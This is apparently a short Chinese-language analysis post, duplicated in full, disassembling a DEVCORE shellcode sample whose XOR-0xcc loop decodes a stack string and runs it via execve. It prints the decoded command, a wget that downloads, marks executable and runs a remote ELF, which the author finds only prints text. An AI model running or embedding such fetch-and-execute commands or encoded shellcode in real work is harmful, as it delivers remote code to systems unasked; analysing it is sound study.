https://godbolt.org/z/M1q3G738M
最近看到devcore裡的大大寫了一個shellcode
好奇來玩一下順便分析.
用gcc編譯好後,餵給 peda-gdb or objdump -D -M intel
4005d4: 68 4e 00 00 00 push 0x4e
4005d9: 5b pop rbx
4005da: 66 81 ec 00 01 sub sp,0x100
4005df: 4c 8d 05 28 00 00 00 lea r8,[rip+0x28]
4005e6: 54 push rsp
4005e7: 5a pop rdx
4005e8: 80 fb ff cmp bl,0xff
4005eb: 74 0d je 4005fa <shellcode+0x3a>
4005ed: 41 8a 04 18 mov al,BYTE PTR [r8+rbx*1]
4005f1: 34 cc xor al,0xcc
4005f3: 88 04 1c mov BYTE PTR [rsp+rbx*1],al
4005f6: fe cb dec bl
4005f8: eb ee jmp 4005e8 <shellcode+0x28>
4005fa: 48 31 c0 xor rax,rax
其中比較關鍵的一段是 0x4005e8 開始的這段迴圈
要跑0x4f(00~4e)次,這段一直在取值(密文)從shellcode後面
這裡開始bb ab a9 b8 ec ....
一開始取的值是[r8+rbx]
R8 : 0x40060e
rbx:0x4e
r8+rbx:0x40065C
這位置的值是7c
其實迴圈前面幾次取得值已經超出shellcode範圍
因為shellcode最後一個addr是
400643: a9 ab e6 aa cc
不知道為什麼一開始要取超出這個範圍
迴圈之後會從shellcode尾巴往回取值,
然後和0xcc做xor運算,看起來是在stack構造字串
wget -q conf.devco.re/2024/egg.elf;chmod +x ./eg*f;./eg*f
不想一直跑迴圈的話,可以直接在 xor rax,rax 的位址處下斷點.
最後再透過execve syscall來執行這行指令.
然後下載的egg.elf看起來就只是印字串而已.
最近看到devcore裡的大大寫了一個shellcode
好奇來玩一下順便分析.
用gcc編譯好後,餵給 peda-gdb or objdump -D -M intel
4005d4: 68 4e 00 00 00 push 0x4e
4005d9: 5b pop rbx
4005da: 66 81 ec 00 01 sub sp,0x100
4005df: 4c 8d 05 28 00 00 00 lea r8,[rip+0x28]
4005e6: 54 push rsp
4005e7: 5a pop rdx
4005e8: 80 fb ff cmp bl,0xff
4005eb: 74 0d je 4005fa <shellcode+0x3a>
4005ed: 41 8a 04 18 mov al,BYTE PTR [r8+rbx*1]
4005f1: 34 cc xor al,0xcc
4005f3: 88 04 1c mov BYTE PTR [rsp+rbx*1],al
4005f6: fe cb dec bl
4005f8: eb ee jmp 4005e8 <shellcode+0x28>
4005fa: 48 31 c0 xor rax,rax
其中比較關鍵的一段是 0x4005e8 開始的這段迴圈
要跑0x4f(00~4e)次,這段一直在取值(密文)從shellcode後面
這裡開始bb ab a9 b8 ec ....
一開始取的值是[r8+rbx]
R8 : 0x40060e
rbx:0x4e
r8+rbx:0x40065C
這位置的值是7c
其實迴圈前面幾次取得值已經超出shellcode範圍
因為shellcode最後一個addr是
400643: a9 ab e6 aa cc
不知道為什麼一開始要取超出這個範圍
迴圈之後會從shellcode尾巴往回取值,
然後和0xcc做xor運算,看起來是在stack構造字串
wget -q conf.devco.re/2024/egg.elf;chmod +x ./eg*f;./eg*f
不想一直跑迴圈的話,可以直接在 xor rax,rax 的位址處下斷點.
最後再透過execve syscall來執行這行指令.
然後下載的egg.elf看起來就只是印字串而已.

